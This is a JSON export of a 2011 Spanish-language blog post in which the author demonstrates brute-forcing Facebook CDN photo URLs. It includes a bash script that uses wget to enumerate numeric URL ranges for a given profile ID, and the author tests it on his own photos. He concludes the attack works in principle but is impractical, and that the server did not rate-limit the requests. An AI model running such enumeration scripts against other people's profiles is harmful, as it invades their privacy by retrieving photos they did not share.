{"id":380,"date":"2011-09-04T19:42:09","date_gmt":"2011-09-04T19:42:09","guid":{"rendered":"http:\/\/blog.aleperno.com.ar\/?p=380"},"modified":"2023-03-10T15:00:44","modified_gmt":"2023-03-10T15:00:44","slug":"curiosidades-de-facebook-reloaded","status":"publish","type":"post","link":"https:\/\/blog.aleperno.com\/?p=380","title":{"rendered":"Curiosidades de Facebook Reloaded"},"content":{"rendered":"<p><!--:es--><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">En el post anterior ya mencion\u00e9 algunas curiosidades respecto a las url&#8217;s de facebook y que informaci\u00f3n pod\u00edamos sacar de ellas; sin embargo sent\u00ed que quedaba algo pendiente y es mostrar como es hipot\u00e9ticamente posible robar fotos de una cuenta a la que no tenemos acceso, mediante la fuerza bruta.<\/p>\n<p style=\"text-align: justify;\">\u00bfPor qu\u00e9 &#8220;hipot\u00e9ticamente&#8221;? En el post anterior mostr\u00e9 la siguiente url<\/p>\n<pre>https:\/\/fbcdn-sphotos-a.akamaihd.net\/hphotos-ak-snc6\/262207_10150250379330782_<span style=\"color: #ff0000;\">639435781<\/span>_7283246_1748549_n.jpg[\/note]<\/pre>\n<p style=\"text-align: justify;\">donde el n\u00famero marcado en rojo corresponde a mi profile id, el cual obviamente es constante, al contrario de todos los dem\u00e1s n\u00fameros \u00a0que son variables y\u00a0representan\u00a0el resultado de <span style=\"text-decoration: underline;\">alg\u00fan<\/span> algoritmo de ordenamiento o algo as\u00ed. Para los que no lo recuerden o sepan (este blog intenta ser lo m\u00e1s friendly posible) un algoritmo de fuerza bruta, implica ni m\u00e1s ni menos que ir probando todas las combinaciones posibles.<\/p>\n<p style=\"text-align: justify;\">Analizemos esto, tenemos 37 d\u00edgitos que varian, siendo los mismos decimales cada d\u00edgito tiene 10 combinaciones posibles lo que nos da un 10\u00b3\u2077 combinaciones aproximadamente. Es m\u00e1s que evidente que es un n\u00famero bastante grande. Computacionalmente es un n\u00famero m\u00e1s que accesible que tardara su tiempo dependiendo del poder de c\u00e1lculo de nuestra computadora, el problema radica en que por cada iteraci\u00f3n haremos un pedido al servidor y eso tiene su delay. Multipliquemos este delay por 10\u00b3\u2077 y m\u00e1s o menos tenemos desde Mois\u00e9s hasta la actualidad.<\/p>\n<p style=\"text-align: justify;\">Podriamos realizar un ataque a m\u00e1s de un servidor y\/o desde m\u00e1s de una pc atacante, pero en definitiva el tiempo necesario para perpetrar dicho ataque seguir\u00eda siendo bastante.<\/p>\n<p style=\"text-align: justify;\">Resumiendo, este ataque no tiene practicidad alguna, m\u00e1s que demostrar que hipot\u00e9ticamente es posible y para resaltar ciertas curiosidades que tiene esta red social.<\/p>\n<h3 style=\"text-align: justify;\"><strong>El Ataque<\/strong><\/h3>\n<p style=\"text-align: justify;\">Antes de realizar un script para perpetrar el ataque de fuerza bruta, indagu\u00e9 un poco los links de mis propias fotos, esperando encontrar algun orden l\u00f3gico el cual me permita acotar la cantidad de variables y me encontr\u00e9 con una curiosidad. Los links de mis fotos viejas (09-10) poseian otro formato<\/p>\n<pre>https:\/\/fbcdn-sphotos-a.akamaihd.net\/photos-ak-ash1\/v254\/51\/16\/639435781\/n639435781_450402_9982.jpg<\/pre>\n<p style=\"text-align: justify;\">En base a la observaci\u00f3n el \/51\/16 parecer\u00eda constante as\u00ed como el \/v254 ten\u00eda cierta persistencia, pero\u00a0poni\u00e9ndonos\u00a0estrictos\u00a0podr\u00edamos\u00a0decir que tenemos 26 d\u00edgitos que\u00a0var\u00edan, bajamos 11 variables! Sin embargo sigue siendo un n\u00famero bastante alto.<\/p>\n<p style=\"text-align: justify;\">Por lo que para el script en cuesti\u00f3n tom\u00e9 ciertas consideraciones al &#8220;atacar&#8221; a un\u00a0\u00e1lbum\u00a0espec\u00edfico<\/p>\n<ul style=\"text-align: justify;\">\n<li>\/v254\/51\/16 son contantes<\/li>\n<li>45042 posee s\u00f3lo 10 ciclos de iteraci\u00f3n<\/li>\n<\/ul>\n<div style=\"text-align: justify;\">Obteniendo como resultado<\/div>\n<div style=\"text-align: justify;\">[sourcecode lang=&#8221;bash&#8221; collapse=&#8221;false&#8221;]<br \/>\n#!\/bin\/bash<br \/>\nLOC=\/home\/alejandro\/Escritorio\/Facebook<br \/>\nOUTPUT=&quot;$LOC\/file.txt&quot;<br \/>\nBASE=&quot;http:\/\/fbcdn-sphotos-a.akamaihd.net\/photos-ak-ash1\/&quot;<br \/>\nLINK=&quot;&quot;<br \/>\nID=639435781<br \/>\nCONST1=254<br \/>\nCONST2=51<br \/>\nCONST3=16<br \/>\nMIN1=450403<br \/>\nMAX1=450412<br \/>\nMIN2=702<br \/>\nMAX2=3970<\/p>\n<p>while [ $MIN1 -lt $MAX1 ];do<br \/>\n    MIN2=702<br \/>\n    while [ $MIN2 -lt $MAX2 ];do<br \/>\n\t LINK=$BASE&quot;v&quot;$CONST1&quot;\/&quot;$CONST2&quot;\/&quot;$CONST3&quot;\/&quot;$ID&quot;\/n&quot;$ID&quot;_&quot;$MIN1&quot;_&quot;$MIN2&quot;.jpg&quot;<br \/>\n \t echo $LINK<br \/>\n\t TEST=$(wget $LINK -o &#8211; -q)<br \/>\n\t if [ &quot;$TEST&quot; != &quot;&quot; ]; then<br \/>\n\t    echo $LINK &gt;&gt; $OUTPUT<br \/>\n\t fi<br \/>\nlet MIN2=$MIN2+1<br \/>\n    done<br \/>\n    let MIN1=$MIN1+1<br \/>\ndone<br \/>\n[\/sourcecode]<\/p>\n<\/div>\n<div style=\"text-align: justify;\">En este preciso momento, el script lleva 2 horas\u00a0ejecut\u00e1ndose\u00a0y como resultado arroj\u00f3 las siguientes im\u00e1genes<\/div>\n<div style=\"text-align: justify;\"><a href=\"https:\/\/fbcdn-sphotos-a.akamaihd.net\/photos-ak-ash1\/v254\/51\/16\/639435781\/n639435781_450403_702.jpg\"><img loading=\"lazy\" class=\"alignnone\" alt=\"\" src=\"https:\/\/fbcdn-sphotos-a.akamaihd.net\/photos-ak-ash1\/v254\/51\/16\/639435781\/n639435781_450403_702.jpg\" width=\"130\" height=\"98\" \/><\/a><a href=\"https:\/\/fbcdn-sphotos-a.akamaihd.net\/photos-ak-ash1\/v254\/51\/16\/639435781\/n639435781_450404_951.jpg\"><img loading=\"lazy\" class=\"alignnone\" alt=\"\" src=\"https:\/\/fbcdn-sphotos-a.akamaihd.net\/photos-ak-ash1\/v254\/51\/16\/639435781\/n639435781_450404_951.jpg\" width=\"130\" height=\"98\" \/><\/a><a href=\"https:\/\/fbcdn-sphotos-a.akamaihd.net\/photos-ak-ash1\/v254\/51\/16\/639435781\/n639435781_450405_1208.jpg\"><img loading=\"lazy\" class=\"alignnone\" alt=\"\" src=\"https:\/\/fbcdn-sphotos-a.akamaihd.net\/photos-ak-ash1\/v254\/51\/16\/639435781\/n639435781_450405_1208.jpg\" width=\"130\" height=\"98\" \/><br \/>\n<\/a><em>Se puede apreciar que las fotos siguen el orden l\u00f3gico del script<\/em><\/div>\n<h3 style=\"text-align: justify;\"><strong>Colorario<\/strong><\/h3>\n<p>Para resumir,\u00a0plant\u00e9 la hip\u00f3tesis de que es posible ejecutar un ataque de fuerza bruta contra los servidores de im\u00e1genes de facebook.\u00a0Usando un caso modelo acotado, demostr\u00e9 que es posible aunque extremadamente impr\u00e1ctico.<\/p>\n<p>Como aprendizaje o curiosidad me queda, que las im\u00e1genes\u00a0est\u00e1n\u00a0alojadas &#8216;p\u00fablicamente&#8217;, que las url de las mismas muestran el id de su due\u00f1o y una de las cosas m\u00e1s interesantes es que el servidor permite realizar el ataque.<\/p>\n<p>Me resulta curioso como uno es capaz de realizar un gran n\u00famero de pedidos a direcciones inv\u00e1lidas sin que el servidor detecte un comportamiento sospechoso o si lo hace, no\u00a0act\u00fae.<\/p>\n<pre>NOTA: Al t\u00e9rmino de esta entrada el script arroj\u00f3 otro resultado, \nsiendo al momento 4 im\u00e1genes en 2 horas 20 min aproximadamente.<\/pre>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/creativecommons.org\/licenses\/by\/3.0\/\" rel=\"license\"><img style=\"border-width: 0;\" alt=\"Licencia Creative Commons\" src=\"http:\/\/i.creativecommons.org\/l\/by\/3.0\/80x15.png\" \/><\/a><br \/>\nCuriosidades de Facebook Reloaded por <a href=\"http:\/\/blog.aleperno.com.ar\/?p=380\" rel=\"cc:attributionURL\">Alejandro Pernin<\/a> se encuentra bajo una Licencia <a href=\"http:\/\/creativecommons.org\/licenses\/by\/3.0\/\" rel=\"license\">Creative Commons Atribuci\u00f3n 3.0 Unported<\/a>.<\/p>\n<p><!--:--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>En el post anterior ya mencion\u00e9 algunas curiosidades respecto a las url&#8217;s de facebook y que informaci\u00f3n pod\u00edamos sacar de ellas; sin embargo sent\u00ed que quedaba algo pendiente y es mostrar como es hipot\u00e9ticamente posible robar fotos de una cuenta a la que no tenemos acceso, mediante la fuerza bruta. \u00bfPor qu\u00e9 &#8220;hipot\u00e9ticamente&#8221;? En el &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/blog.aleperno.com\/?p=380\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Curiosidades de Facebook Reloaded&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[8],"tags":[],"_links":{"self":[{"href":"https:\/\/blog.aleperno.com\/index.php?rest_route=\/wp\/v2\/posts\/380"}],"collection":[{"href":"https:\/\/blog.aleperno.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.aleperno.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.aleperno.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.aleperno.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=380"}],"version-history":[{"count":1,"href":"https:\/\/blog.aleperno.com\/index.php?rest_route=\/wp\/v2\/posts\/380\/revisions"}],"predecessor-version":[{"id":2757,"href":"https:\/\/blog.aleperno.com\/index.php?rest_route=\/wp\/v2\/posts\/380\/revisions\/2757"}],"wp:attachment":[{"href":"https:\/\/blog.aleperno.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=380"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.aleperno.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=380"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.aleperno.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=380"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}